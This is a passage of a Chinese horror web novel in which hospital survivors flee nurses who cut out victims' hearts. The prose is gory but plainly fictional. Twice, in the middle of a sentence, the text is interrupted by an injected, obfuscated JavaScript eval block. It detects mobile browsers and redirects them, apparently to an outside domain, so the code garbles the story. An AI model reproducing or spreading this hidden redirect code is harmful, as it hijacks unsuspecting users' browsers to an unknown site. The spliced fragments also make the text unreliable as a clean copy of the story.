他们商量的计划是一砸二压三毒四火烧,元祁火柴都准备好了,不晓得蔚迟在犹豫什么,又催了一遍:“迟哥!” 张宇凡也在吼:“蔚迟!你干嘛呢!” 蔚迟一张脸惨无人色,全身都在抖。 他以为自己已经接受了这场事故,并且对即将到来的悲惨命运已经有所准备——事故很悲惨,但遇上了也没有办法。他当然怕死。他就是个普通人,顺风顺水长到二十四岁,当然怕死。不过现实世界里也没有什么特别深刻的执念让他悔恨、没有难酬的壮志让他遗憾、没有放不下的爱人让他留恋。纪惊蛰也回来了,他爹也过上新生活了,他唯一放不下的也只剩他妈,好死不死,他妈还就跟他一起在这个荒诞事故里你方唱罢我登场……他想,他大概会垂死挣扎到最后一刻然后和生他养他的女人一起死在这个怪诞的世界里吧——但事情摆在他的面前,他才发现自己是如此脆弱不堪。 这医生是周迎春。 周迎春似乎已经完全失了神智,尾椎被上千斤的铁架子压着,还没事人一样往外爬,在她眼里似乎对脱身并不热衷,反而更在乎近在咫尺的林富国的心脏。她拖着林富国的脚往回一拽,另一只手就要刺下去—— “迟哥!”元祁又喊了一声,但没再等他,上前准备点火。 蔚迟终于动了,他往压着周迎春的铁架上一跪,按着周迎春的后脑勺就把那阵超浓度麻醉剂推了进去。 周迎春发出一声惨叫,挣扎得更剧烈了,但好歹放开了林富国,林富国屁滚尿流地爬起来,是真的失了禁。蔚迟踉跄后退,眼看要摔,李夏伸手扶住了他。 元祁没再等,把装了二十几个酒精瓶的塑料袋往周迎春身上一砸,往后退开,将点燃的火柴往上一丢,火光冲天而起。 所有人都看着这火,看着女人在火中惨叫挣扎,渐渐变得焦黑,安静下来。 蔚迟心中一片寂静。又似乎有两个声音震耳欲聋。 ——她都死了,我好像更没有什么值得留恋的了,好像更可以死了。 ——可我连她都牺牲了,我怎么能死? 蔚迟正在走神,却听见身旁一阵咯哒咯哒的连续敲击声,他一看,是元祁牙齿在抖。他烦得不行,正要骂人,却看到元祁抖抖抖地指向了那团火。 蔚迟便也看过去,却见火中的女人在安静了一阵后,忽然又抬起一只手,将货架提了起来,然后利索地一弯腰一缩腿,就把自己拔了出来。所有人都开始跑,蔚迟也下意识跑起来。但浴火重生的周迎春速度快得惊人,根本不是人类所能达到的,几乎是瞬间就追上了他,还是拦在前面截住了他,一手抓向他的脖子。 那一瞬间蔚迟根本不知道自己在想什么,他看着母亲在火焰中扭曲干枯的脸,好像连眼睛都烧成了两个黑洞。他觉得自己应该,至少有很少的一部分应该为没有背上弑母重罪而松一口气,但淹没他的是绝对的、灭顶的恐惧。 巨大的恐惧,死亡的寒意冻彻了他的四肢百骸。 他从来没有觉得自己竟然这么怕死。 同样不晓得那一刻在想什么的还有一个人——林富国。他那一生粗浅鄙陋、斤斤计较又不聪明、饱经风霜也不善良的脑子,不晓得那一刻在想什么,也许什么都没有想,也许只是被忽然出现的医生吓懵了,也许,也许只是被什么东西绊了一下——他正跑在蔚迟旁边,忽然身子一倾,把蔚迟撞开了。于是落入周迎春手心的脖子变成了他的。他用被掐得出不了气的脖子发出一声鸡叫:“快跑!” 蔚迟看着他,怔了一秒,跌跌撞撞爬起来开始跑,跑到他们进来的那扇门,还是没忍住回了头,看到浑身焦黑的周迎春也在看他,似乎想说点什么,但最终还是没有说,而是一刀捅穿了林富国的心脏。 4. 市二院4 蔚迟跑到安全通道里,只有元祁还在等他,另外两人早就跑没影了。 他没什么想法,本来就是萍水相逢,不在背后使绊子已经算好的。 蔚迟带着元祁上到六楼,又往天井下面望了一眼,发现医护人员都散了,但是尸体没人收,还是横七竖八地倒在大厅里,只有一群清洁工在打扫满地的血迹。 他们直接从六楼的天桥跑到住院部。现在是这个世界的下午四点过,门诊医生不少,相比来说住院部的医护人员会少一点。两人小心地躲开人,跑到住院部,往病房里一看,却见病人们神色如常地在聊天,好像什么事情都没有发生一样。 住院部的建筑结构要复杂一点,岔路口挺多,不像门诊那边能一眼望穿,蔚迟正在查看第三间病房,忽然听到不远处的拐角响起一点轻缓的脚步声,是护士穿的那种轻巧软底鞋的声音,他头皮一麻,几乎是条件反射,他打开面前的病房门,拉着元祁就躲了进去,开门的时候门还被什么东西卡了一下,没能完全打开。 他们刚把门关上没过三秒,一顶白色的护士帽就飘过了门上面的玻璃窗。 “操!”等护士走过,门后面的小青年抱着膝盖骂了一声,膝盖一片红,是刚刚蔚迟他们开门的时候砸的。 元祁正跟那小青年面面相觑,中间床上的胖老头荒腔走板来了一声:“哟!今天玩藏猫猫的人还多哩!” 这间病房是四人间,病床一字排开,上面躺了三个老人。门后面躲了个小青年,卫生间还躲了俩姑娘,加上蔚迟他们两,一共有八个人。 小青年叫胡凯,十九岁,初中辍学,是该片区的小混混,今天跟着大哥来接老爷子出院,出事的时候就在医院大厅。两个姑娘是高中室友,一个叫刘琴一个叫许白诗,来做核酸检测,为毕业旅行做准备,据她们所说,跟她们一起来的一个男同学已经“死在护士手下了”。 老头们似乎并不晓得出了什么变故,耳朵也不好,真以为这群年轻人是来医院躲猫猫的,说了他们两句“不要妨碍医护人员工作”,就自顾自聊起了天。 胡凯的状态很不好,整个人都处在应激状态里,不停发抖、冒冷汗。许白诗是个很漂亮的小姑娘,穿着白裙子,头发尾端还烫了卷儿,一直哭。刘琴倒是个能抗事的,还过来问蔚迟他们知不知道这究竟是怎么回事。 蔚迟看了她一眼,说不知道,但还是把他们的发现都告诉了她——停住的时间、出不去的门、清洁工可以杀、医生杀不死。目前不知道怎么办,先活下去再说。 “你们还敢去杀医生……”刘琴惊讶道,“好厉害。” 蔚迟说:“没杀了。” 刘琴:“那也很厉害。” 老头们刚刚正在谈论自己的孩子,从攀比阶段过渡到了数落阶段。中间那胖老头长叹一口气道:“我那儿子什么都好,就是不把他老子当回事!这说好了下午三点来看我,这都几点了!影儿都没有一个!” 右边的瘦老头低头看了看表:“老哥,安心,这才……一点四十九。” 胖老头道:“你那表铁定坏了!刚刚你也说的一点四十九!” 左边的眼镜老头说:“是!你那表肯定坏了!你看看人家医院的表……”他指的是挂在门边的一块电子表。 瘦老头说:“我看不清!” 胖老头冲元祁说:“诶,小朋友,帮叔看看几点了!” 元祁看了一眼,说:“四点三十七。” 胖老头痛心疾首道:“你看吧!这逼崽子!早把他爹忘到九霄云外去咯!” 几个老头骂的骂、劝的劝,明明都不怎么听得清楚,还能聊得热火朝天。 元祁凑近蔚迟小声道:“迟哥,一点四十九……” 蔚迟道:“嗯。” 他刚刚还在想,也许住院病人跟他们这些今天才来医院的人有什么不一样,所以才没有遭受袭击,但现在看来,应该是一样的,外来的计时设备都停在了那个时间。 他觉得有什么地方不对。 他开始打量起这间病房,最后把视线落到了门边那枚电子表上,是那种老式电子计时表,电子屏很小,可能就半个手机那么大,黑字灰绿屏,确实不太看得清,躺在床上的别说老人,就是他可能都看不清。 这表挂在这里有什么作用呢? 不是给病人们看的,那就是给…… 这时,他的余光瞟到玻璃门洞飘过一道白影,随后响起敲门声。 咚咚咚,伴随着护士中气十足的声音:“查房!” 有一瞬间蔚迟感觉那种彻骨的寒意又笼罩了他,很多种办法乱七八糟地在一瞬间塞进他的脑子,但没有一种能让他逃出生天——这间屋子无处可逃。 元祁在身后拉了拉他:“迟哥……你怎么了?” 蔚迟猛吸一口气,这才反应过来,被敲响的是隔壁病房。 “我们得走!”蔚迟说,“她们要来查房了!” 那三个人闻言也凑过来,许白诗小声问:“那他们怎么办?”她指的是病床上那三位老爷爷。 胡凯道:“谁还管得了他们了?” 许白诗被这么一凶,眼看着又要掉眼泪。 蔚迟正透过玻璃门洞往外看,不太妙,查房的有两个人,一个进去査,一个提着一个塑料袋站在门外面,他们现在一出去就会被外面这个护士看见。他斟酌了一下,要是现在直接冲出去,护士们肯定会来追,落在后面的人被逮住,前面的就还能跑掉……至少他自己能跑掉;要是他们埋伏起来,趁护士来了一脚踹倒再跑,就可以再争取一些时间,当然也是前面的能跑掉,但这样的话踹人的肯定得是他蔚迟,落在后面的也得是他蔚迟,而且踹不踹得倒还另说呢,元祁不是说亲眼见到小护士能只手把人手腕捏骨折吗。 “迟哥……”元祁怕怕地小声叫他。 蔚迟四下看了看,抄起旁边的桶装水,扛在肩膀上,对其他人说:“一会儿我会把她们俩打翻,你们出去往左,只管跑。” 之后是令人窒息的等待。 隔壁响起惨叫。 但惨叫在医院稀松平常,正常情况下并不会引起什么注意。 蔚迟计算着时间,大概过了五分钟,进去的那个护士走出来,往门口那个护士手中的塑料袋丢了几个血糊糊的东西,接着两人就向他们这边走来,蔚迟可以隔着门板听到她们停下来了。 他举起桶装水—— 提口袋的那个护士忽然说:“装不下了,回去换个口袋。” 脚步声和塑料袋窸窸窣窣的声音便远去了。 这运气委实好得过了头,蔚迟一下子都有点反应不过来。 众人皆长长松了一口气。 元祁讲了句废话:“吓死我了。” 蔚迟又看了看外面,回头跟几个人说:“等会儿跟着我,不管看到什么都不能发出声音,明白吗?”看到许白诗的高跟小皮鞋,又跟她说,“鞋脱了。” 那胖老头看蔚迟把桶装水放回原处,笑呵呵地插了一句:“哟,你们这些娃娃,玩个躲猫猫嘛,多大仇多大怨呐?要举着水桶等人家?不要这样嘛,以和为贵、以和为贵。” 蔚迟深深看了他一眼,说:“大叔,你儿子不是不来看你。今天医院门口出了连环车祸,堵了好长一路,他兴许是被堵在路上了。” 胖老头惊道:“车祸?人没事吧?” 蔚迟:“没有,就是堵车。” 老头点点头:“人没事就好、人没事就好。” 许白诗已经脱好了鞋,蔚迟把门打开,走了出去. 几个人原本已经预备好了要跑,脑海里预演了各种在路上撞见护士惨遭杀害的可怕场景,这住院部楼道错综复杂的,那么多拐角,鬼知道被拽到哪个拐角后面就得玩完……却见蔚迟左右打量了两遍,只用了两秒钟不到就溜进了隔壁病房。 就刚被查完房的那间。 几个人不知道他想要干什么,但还是跟着他溜了过去。元祁走在最后面,还没进门就闻到了一股浓郁的血腥味,等进去了,听到蔚迟说了声:“锁门。” 元祁锁了门,往里走,先看到的是许白诗抖得不成样子的背影,还有她脚踝粘上的那抹深红的血。许白诗大概刚刚没忍住要尖叫,现在正被刘琴捂着嘴。 元祁越过许白诗的肩膀往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350146|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里看,感觉到自己狠狠地抖了一下。 这是间满员病房,四个人整整齐齐死在床上。有两个明显是后来被搬回床上的,地上有一路拖拽的血迹。他们一个往门口跑,一个往窗户跑,窗框和墙壁上留下了不少血手印,联想到刚刚听见的惨叫声,可以想象当时的惨状。蔚迟正站在两间病床中间查看尸体,片刻后抬起眼来说:“都没有心了。” 元祁冲进厕所就开始吐,还没吐完,后颈忽然被一双冰冷的手掐住了。 他下意识要叫,好歹还剩一点理智,听出了蔚迟的声音:“安静,她们过来了。” “啪塔啪塔”,平日里丝毫不会被注意到的那种软底鞋清脆短促的声音在走廊里响起。 几个人都躲入门上那扇玻璃窗看不到的死角,安静如鸡。 元祁和蔚迟一起藏在厕所里,也许是因为厕所有回音,元祁觉得在这里听到的脚步声比在外面听到的还要响。那声音越来越近,到他们门口的时候元祁真怀疑自己的心下一秒会从喉咙里跳出来。 好歹是走过去了,似乎是停在那三个大爷病房门口,敲门声后,是护士的大嗓门:“查房!” 还能听到那胖大爷的声音:“查就查呗,这么高的嗓门要……” 随后便是老朽的喉咙发出的惊恐惨叫。 惨叫声持续了两三分钟,消停了两三分钟,再便是隔壁的隔壁。 又等了一会儿,蔚迟带着元祁走出厕所。 几个人都缩在病房角落里,听得面色铁青,一个字不敢说。 “刚刚查过的房,应该不会再查了。”蔚迟道,“休息一会儿吧。” 许白诗把脸缩到膝盖里呜呜哭起来,刘琴小声安慰她,胡凯坐在她们旁边,递给许白诗一张纸。 这一呆就是几个小时,天色暗下来。几个人的肚皮此起彼伏地叫着,元祁抱着书包靠近蔚迟,一手放在拉链上,显而易见是什么意思:“迟哥……” 蔚迟朝他点点头。 元祁便分了一点零食给其他人,许白诗惨白着一张小脸,在一屋子死人面前吃不下东西,本来想拒绝,刘琴欲言又止,看了蔚迟一眼。蔚迟说:“不想吃就收着吧。” 刘琴道:“谢谢迟哥。” 蔚迟:“不用。” 元祁抱着书包坐回来,跟蔚迟分了一包方便面。 到了晚上,天黑下去,下午那一阵赛一阵的惨叫声越来越少,可能是查房活动结束了,可能人死得差不多了。蔚迟不太敢睡,元祁倒是枕着书包在他旁边睡着了。 他们自然不敢开灯,房间里一片漆黑。看不到床上的死人,许白诗要消停不少。她们两个姑娘蜷缩在另一个角落里,蔚迟听见窸窸窣窣地撕包装袋的声音,大概是许白诗愿意吃东西了。又过了一会儿,他听见她们说起了毕业旅行的事。刘琴说长白山有一汪池水可以许愿,比天池还要灵,她已经打听好了。许白诗说我可爬不上去。 蔚迟忽然就想起他和纪惊蛰第一次爬山的情景——他们是背着爸妈偷跑出来的,纪惊蛰还偷了他爸的钱买动车票。上山之前天色就不好,爬到一半还下起雨。纪惊蛰说山你爬过,下着雨的山还没爬过吧?小爷带你爬一回!爬到后来,泥水都开始顺着阶梯往下淌了,两个小崽子还兴奋地“踩水”玩。刚爬到山上景点就被护林员拎下去,还要把他们爸妈叫来批评。他们找了个时机跑了,撒丫子狂奔,没被逮住,只觉得自由。下去没多久看到当地新闻说景区小规模山洪爆发,才晓得有点后怕,但说起这事想到更多的还是那种自由。 蔚迟拿出手机,点开微信,点开和纪惊蛰的聊天框,盯着那两个红色感叹号,鬼使神差,点上去了。 我在干什么?他懊恼道,这不是浪费电么? 接着,他意识到。 那两个感叹号消失了。 他眯起眼又确认了一遍—— 20:55 发送成功。 他一咕噜坐起来。 忽然,一片死寂的黑暗中响起声音。 “咚咚咚。” 有人在敲门。 接着是中气十足的女声:“查房!” 5. 市二院5 “咚咚咚。” 有人在敲门。 接着是中气十足的女声:“查房!” 蔚迟的心脏“咯噔”一下,电光火石间,脑中顿时又塞满了各种各样的念头——他猜错了?他推测查过的房间就不会再查,人都死光了,何必再查?可现在怎么办……走窗户?万一像那个FILA男一样爆掉了呢?厕所……护士连安全通道的铁门都能弄开,遑论厕所那扇来老朽的木门……武器……工具…… 他听到门外的护士嘟囔着:“这门怎么锁了?” 蔚迟便又懊恼道:是不是不该锁门? 安静了片刻。 护士忽然阴惨惨笑了一声,又问了一遍:“这门怎么锁了?” 蔚迟下意识看过去,直接对上护士的眼睛。 这医院门上的玻璃窗口挺高,蔚迟一米八四,从那儿往里看正好合适,寻常女护士站在门口的话只能露出一截护士帽,不知道是这个护士太高了还是踮了脚,一张青脸就正正好塞在那圆形的门洞那里,笑容很大,嘴角几乎咧到了耳根。 其他人也醒了,许白诗到底没憋住,发出一声尖叫。 护士开始踹门,每一脚都能在门上踹出一个印子,三脚就踹穿了,一条白腿插了进来。她倒是没穿那种特制的软底鞋,而是穿着一只人字拖。 蔚迟咆哮:“拽住!” 蜷缩在门边的胡凯下意识地抱住了那条腿。 但那条腿的力量实在太大,往外一抽,胡凯整个人被带着往门上狠狠一撞,额角立马见了血,也没能阻止那条腿抽出去。 蔚迟从死人头底下把枕头抽出来,往门口一甩:“把窗洞堵上!” 胡凯还在地上懵着,一旁的刘琴咬咬牙,冲上去用枕头堵住了窗洞。 护士看不到里面了,但还在踹门,一扇漆绿的木门在她面前不堪一击,不到一分钟,她就把门整个踹得粉碎! 然后迎面是一具沉重的身体压了上来。 她很熟悉人体结构,下意识就一刀捅进那人的胸腔,结果刀在里面诡异地一碰,抵到了坚硬的肩胛骨。 这人的胸腔是空的! 随即有更重的东西压了上来,砰——砰——砰—— 都是男尸,四具尸体加起来超过六百斤,暂时限制住了护士的活动,屋里几人分别朝走廊两边跑出去。胡凯和元祁朝右边,蔚迟带着两个姑娘往左。 分头跑是蔚迟提出来的,至少能活一半。元祁当然是想跟着蔚迟的,但现在有两个十七岁的姑娘——许白诗还没满——爱哭鬼元祁好像也没那么爱哭了,倒腾出了点男人的样子,跟胡凯一起头也不回地往前冲。 护士被压在下面,一时间动弹不得,两只手倒是疯狂地挥舞着,一下子抓住了一条脚踝,便往回一扯—— 许白诗被扯住了,她想叫已经跑远的刘琴一声,但没想到人在极致的恐惧中居然叫不出一点声音,只有眼泪疯狂地往外涌。在濒死的紧绷中,她忽然变得非常敏感,能感觉到抓住她脚踝的手掌忽然发了力,她想起元祁说过这些护士随便就能捏碎人的骨头—— “啪——” 预料当中的疼痛并没有到来,那手还放松了些,许白诗下意识回头看了一眼,就见蔚迟两脚并拢重重踩在那护士纤细的手腕上,还又蹦了两下。 蔚迟看她一眼,拉着她飞跑起来:“愣着干什么?跑啊!” 医院整体色调是白绿色,青色的灯光在他们的奔跑中显得阴惨而动荡。他们的脚步声在长长的走廊上回响,空洞得瘆人。 等身后有沉闷的脚步声加入进来以后,许白诗由衷觉得空洞一些也挺好的。 跑着跑着,一直半明不暗的走廊前方忽然出现了一点明亮处。许白诗不知道那里是什么,但感觉到蔚迟拉着她的手忽然紧了一下,于是她的心也跟着紧张起来。 身后的脚步声越来越近,他们已经没有退路,只能硬着头皮往前面跑,飞速地经过了那个明亮处,许白诗瞥了一眼。 是护士站。 一个护士背对着走廊站在护士站里,她面对着的椅子上坐了一个人,还在挣扎。 又往前跑出几十米、拐了两个拐角之后,许白诗忽然挣开了蔚迟的手。 蔚迟停下来:“怎么了?” 许白诗哭着说:“那是刘琴!” 那个被护士压在护士站的椅子上的人,是刘琴。 蔚迟看着她:“所以呢?” 许白诗:“我们得回去救她!” 蔚迟:“救不了了。” 许白诗:“她还活着!我看到她动了!” 且不说他们耽误的这会儿功夫,刘琴八成没了,蔚迟言简意赅道:“你告诉我,怎么救?” “我不知道……”许白诗揉了揉眼睛,又抬起眼来看着他,“但是你很厉害,你一定能救她的!” 蔚迟一面有点想笑,心说我这是给自己救了个祖宗啊;一面又觉得悲凉,是啊,事实是他救不了那个十七岁的女孩,只能任她去死,就像他救不了那三个老头一样。 救是不可能回去救的,但同时他还在思考一件事:住院部的岔路那么多,为什么他们就会和刘琴跑上一条线路? 许白诗还在哭:“可她是我最好的朋友……” “许白诗。”蔚迟感觉自己的声音有点抖,他尽可能地镇静下来,“我问你,刘琴是不是带了兔子吃胡萝卜的耳环?” 许白诗看向他,点点头:“是啊,寒假的时候我们一起去买的。” 蔚迟问:“是不是那个?” 问完他其实已经确定了,这种显眼的、幼稚的装饰品,大概很难巧合地在这间医院里出现第二个。 一股寒意从他的尾椎骨直窜上天灵盖。 刘琴会出现在护士站,并不是因为跟他们跑了同样的线路,而是……很多不同的线路最终都会通向护士站。 很多条路…… 蔚迟俯身去捡那枚耳环。 许白诗顺着看过去,发现那枚耳环落在走廊旁边,兔子吃萝卜,的确是刘琴戴着的,也就是说,刘琴曾经路过这里。她回答蔚迟:“是……” 这是她一生中说出的最后一个字。 许白诗不知道为什么自己就说不出话来了,下意识伸手摸了摸自己的嘴,但没有摸到,反而捧住了一摊肉,形状像人的下巴,还有半张嘴。她觉得这片下巴有点眼熟,她看到了那半张嘴巴斜角下面有一颗痣,想起自己的嘴巴这个位置也有一颗痣…… 走廊的灯忽然剧烈地闪烁起来。 这时候许白诗才感觉到痛。 根本说不出哪里痛,好像是下颚,好像是脸,好像是喉咙,好像是舌头…… 怎么回事啊? 她想叫,但只发出了一种空洞的、嘶哑的、低沉而黏腻的声音,她从没有听到过人类发出这种声音,更想不到这声音是自己发出来的。 她忽然看到面前站了个人。 灯光剧烈闪动,两下闪动之间相隔可能不到0.1秒,上一次灯亮的时候这里是没有人的,灯闪了一次之后就有了,仿佛一直站在那儿。 借着那0.1秒的灯光,许白诗看清了那护士的脸,就是那个被他们摆了一道,笑容能咧到耳根后的护士。 下一秒,灯完全熄灭了。 许白诗感觉到冰冷的寒意从胸口灌入,迅速浸透了四肢百骸,她甚至能感觉到自己的心脏被穿在刀尖上,正在艰难而疯狂地跳跃。咚咚咚、咚咚咚咚、咚咚咚咚咚咚—— 噗嗤—— 那把刀抽了出去,她被带的往前一扑,趴在地上,但因为没有了下巴,磕在地上的就直接是柔软的上颚和咽喉。 她脸朝着一条长长的走廊。 在生命中的最后一刻,她想明白了护士为什么会突然出现在那里——因为这里也正好是一个拐角。 如果她刚刚没有非要拉着蔚迟停下来的话,他们大概早就跑过了这个拐角。 蔚迟听到声音,都没往后看,就着蹲身的姿势直接冲刺了出去。 护士刚刚的那一刀是朝他后脖子砍来的,没想到他忽然蹲下了身,便先顺势切掉了许白诗的半张脸。 护士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350147|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没穿那种制式软底鞋,没有那种让人牙酸的脚步声,但似乎跑得更快了,而且不太好判断距离,有好些个瞬间蔚迟都担心下一秒自己的头会飞出去。 似乎只有这条走廊的灯熄灭了,前方的拐角还可以看到亮。 蔚迟盯着那道亮光,没了命地跑。 他忽然又想起了十三岁的夏天,他和纪惊蛰在那条盘山路上踩着泥点子疯跑,泼天大雨,他感觉一辈子没有跑得那么快、那么快活过。 只要跑得够快—— 就没人能抓住他—— 只要跑得够快—— 忽然,他听到脚步声。 不紧不慢。 软底皮鞋的声音。 然后那道光里出现了一个人。 护士服、护士帽、黑框眼镜、右手有刀,满身是血。 ——护士站那个护士。 蔚迟心神俱裂,两条腿绞在一起,结结实实摔出五米远。 然后他看到了一双苍白的脚——后面那护士也追到了。她大概嫌人字拖碍事,便打起光脚,所以刚刚靠近他们的时候才没有声音。 蔚迟按着腰,艰难地抬起头。 那护士还扯着那一脸恐怖夸张的笑容,高高举起手术刀—— 蔚迟没有闭眼。他想看看自己怎么死的。他曾经做过一个关于疼痛指数的课题,他想知道,清醒着让心脏被手术刀划开、压力骤变、心房骤缩,究竟是怎样的疼痛?还是说,也许还没来得及感到疼痛,他就死了—— 所以他完整地看到了事情的全过程。 只见那护士蓄满了力,笑容又扯大了一分,挥刀而下—— 就在这瞬间,她的头忽然飞了出去! 蔚迟准备的此生最后一声吼就这么卡在了喉咙里。 ——咚、咚。 这是头落地的声音。 然后,失去了控制的手术刀落下,掉在蔚迟身上,划破了他的虎口。接着,护士没头的身体才跟着倒下来,扑在蔚迟身上,颈部大动脉爆出的血喷了他满头满脸。 太黑了,眼睛上还糊着血,蔚迟看不清楚,只能感觉到一阵风从面前划过,似乎有什么东西快速从他面前走过去了,但没有声音。 啪嗒啪嗒啪嗒—— 他听到高跟鞋砸地,回头只见走廊尽头护士站那个护士朝他冲了过来—— 然后在半途的某个地方,她的头也飞了出去。 无头的身体还接着跑了两步,才往前一摔,滑出好远,直接滑到蔚迟跟前。 蔚迟没管,眯起眼看向黑暗里那团神秘的“东西”。那东西一定锋利又轻盈,行动间没有发出一点声音,潜藏于黑暗,与黑暗融为一体。 “它”所到之处,便是黑暗。“它”为了截杀冲过来的那个护士,往亮着灯的走廊尽头走了这么几步,那边的灯便也熄了。 蔚迟又感觉到了一阵风。他意识到,“它”又走了回来。 蔚迟低下头,他忽然不敢直视“它”,哪怕在黑暗中自己根本看不清…… 然后他感觉到自己的脸被什么东西碰了一下,冰凉坚硬的触感。 蔚迟心中忽然生出一个滑稽的猜想—— ——“它”在轻轻抚摸他的脸。 于是他便忽然又莫名升起了一股勇气,抬起头—— 一股妖风刮过空旷的走廊,“它”像被什么东西拽着一样,忽然被拖走了。“它”似乎不想走,但没有办法,蔚迟听见了什么东西与地面猛烈刮擦的声音,就像是“它”试图抓住地面一样。 转瞬之间,“它”消失了。 三五秒后,熄灭的灯光重新亮起。 蔚迟身边躺着两具头身分离的尸体,但他丝毫没有反应。 他还在想刚刚那个东西。 “它”在的地方,所有的灯光都消歇了,但有一个东西没有。 墙角的安全指示灯。 在刚刚的某一个瞬间,蔚迟看到了被绿光照亮的、一晃而过的脚。 那是一只没有血肉的脚。就像——就像—— 骷髅的脚。 6. 市二院6 蔚迟又在原地坐了一会儿才平复过来。他爬起来,右边的腰带着大腿都一阵刺痛,大概刚刚摔着了。 他一瘸一拐地往回走了几十米,找到了许白诗。小姑娘活着的时候是个很漂亮的小姑娘,才十七岁,已经很会打扮,说话细声细气,有些小姐脾气,大概来自一个条件不错的家庭。正常情况下,大概会像名花一样骄矜而舒展地生长下去吧。 现在她死在了这个莫名其妙的地方,脸还少了半张。 蔚迟把她掉在旁边的半张脸给囫囵对回去,抹上她未能瞑目的眼睛,又把刘琴的那枚耳环放在了她的旁边。 腰疼得不行,蔚迟艰难地走过两条走廊,选了一间病房钻进去。 这个世界虽然荒诞无比,但也不是没有逻辑可言——比如医生护士们还是会偷空去楼梯间抽烟;清洁工准时从后门进来上班;晚上当值的护士没有穿制式皮鞋,而穿了相对舒服的人字拖;有一个护士偷懒留在了护士站,所以只有一个人来查房……他大胆推测医院还是在按一定的现实逻辑运转着的,同理再推:住院部晚间值班,每层楼的护士都有定数,这层楼至少已经死了两个,应该是比其他楼层安全。 蔚迟选了一间只有三个病人的病房,进去看了一下,果然病人已经死了,没有心脏。 他到厕所去简单收拾了一下满头满脸的血,没敢看镜子,溜出去在两间病床之间躺下,长长呼出一口气。 腰忽然又爆出一阵剧痛,他咬牙挺过,盯着天花板发了一会儿呆。 他摸出手机,打开跟纪惊蛰的聊天框,再次确认,那两条消息真的发送成功了。他想了想,又发出去一条:你在哪儿? 小圈圈开始转。 他盯着那个小圈圈,太久了,注意力又飘到纪惊蛰的头像上去。 是一只傻笑的柴,笑得又憨又乖,暖融融的阳光散在背景里。 蔚迟的喉结在黑暗中动了动,他感觉喉头一哽,鼻子有轻微的闭塞感,眼眶也有点热。他向左微微蜷起身,不压到受伤的右腰,抱着手机,打字。 黑猫头:纪惊蛰 黑猫头:我好害怕 于是三个小圈圈一起卖力地转起来。 过了好久,变成了三个红色感叹号。 【你有3条信息未发送】 蔚迟盯着那三个感叹号看了很久很久,然后又看了看右上角,电量6%。 所以还是发不出去。所以他发给纪惊蛰的最后一条消息还是:闭嘴。 他的心短暂地揪了一下。 然后他听到身后一阵细微的响动。非常非常轻微,但的确是有。 其实他刚刚就已经听到了,想说服自己是风吹的——虽然风好像已经在这个世界静止了——但现在他又听到了。 他翻身平躺,想要坐起来,可腰实在是太疼了,就没成功,还是躺在那儿。 他深吸一口气,道:“谁在那儿?” 他努力说服自己冷静,这医院的怪物那么凶残,他进这间病房这么久了,没道理留他活到现在,那位仁兄大概是个人,跟他一样躲在这儿的。 他又说:“兄弟,是活人不?我也是,别害怕。” 那边窸窸窣窣一阵,似乎是那个人起来了,还不矮,他刚刚似乎躲在窗帘后面,现在走出来,蔚迟可以从床底下看到他的脚,也可以从床上面看到他的头。 片刻后,他走到蔚迟在的两件床中间正对着,蔚迟就可以看到他的全身。 太黑了,蔚迟看不清他的样子,但借着窗洞透过来的一点走廊光,可以隐隐约约看到他的衣服是白色的,长褂,有点像……有点像…… 男护士的袍子。 蔚迟忽然觉得一口气有点上不来。 那人低低叫了一声:“蔚迟。” 蔚迟没应,心想原来死之前还要点名吗。 那人又说了一声:“你是不是蔚迟?” 蔚迟还是没应,想了想,决定做个明白鬼,就打开手机电筒,冲那人一照—— 那人马上扑过来按住他的手机:“别!一会儿把她们引过来了!” 蔚迟倒是把人看清了:“蔚远?!” “哥!”那人也认亲成功,惊喜道,“真是你啊!”又说,“你刚刚可吓死我了!” 蔚迟心说你还吓死我了呢:“你怎么在这儿?” “还不是我爸!”蔚远说,“非要把我弄来实习!来了吧!这才第三天,就让我摊上这档子事!” 蔚远他爸是蔚迟的大伯,蔚远是蔚迟的堂弟。大伯老来得子,把这儿子宠得无法无天,做什么事都是三天打鱼两天晒网,成绩也是一塌糊涂,最后弄进卫校混了张文凭,大概还是托周迎春的关系给弄来这儿实习的。 蔚迟跟这堂弟的关系倒还行,两人年龄差距不大,文化水平差距却不小,并不存在竞争关系,逢年过节家里人会见面,蔚远还喜欢约蔚迟打游戏。 蔚迟:“你知道你们医院这是怎么回事吗?” “什么我们医院!我才来三天!合同都没签!”蔚远说,“天知道怎么回事,那些同事我脸都还没认全呢,就全变成……那玩意儿了。对了,我记得今天婶婶也在……她还好吗?” 蔚迟摇摇头:“她也变了。” 蔚远愣了一会儿,笨拙地宽慰道:“哥,你先别难过,这事儿还没准呢……” 蔚迟摆摆手,道:“没事,你先把你今天遇到的事都给我说一遍。” 蔚远在这边的实习也是吊儿郎当的,仗着长得好加嘴甜把记考勤的姐姐哄得睁一只眼闭一只眼,今天也是临近中午才晃晃悠悠来到医院食堂把早中饭一起吃了。吃了饭去找周迎春卖了会儿乖,又跑到小卖部买冰棍儿吃,然后就在休息室躺下睡午觉……一觉就睡到四点。 蔚迟道:“你的表是四点?” 蔚远:“我手机啊。这年头谁还戴表?” 蔚迟:“行吧……你手机四点?” 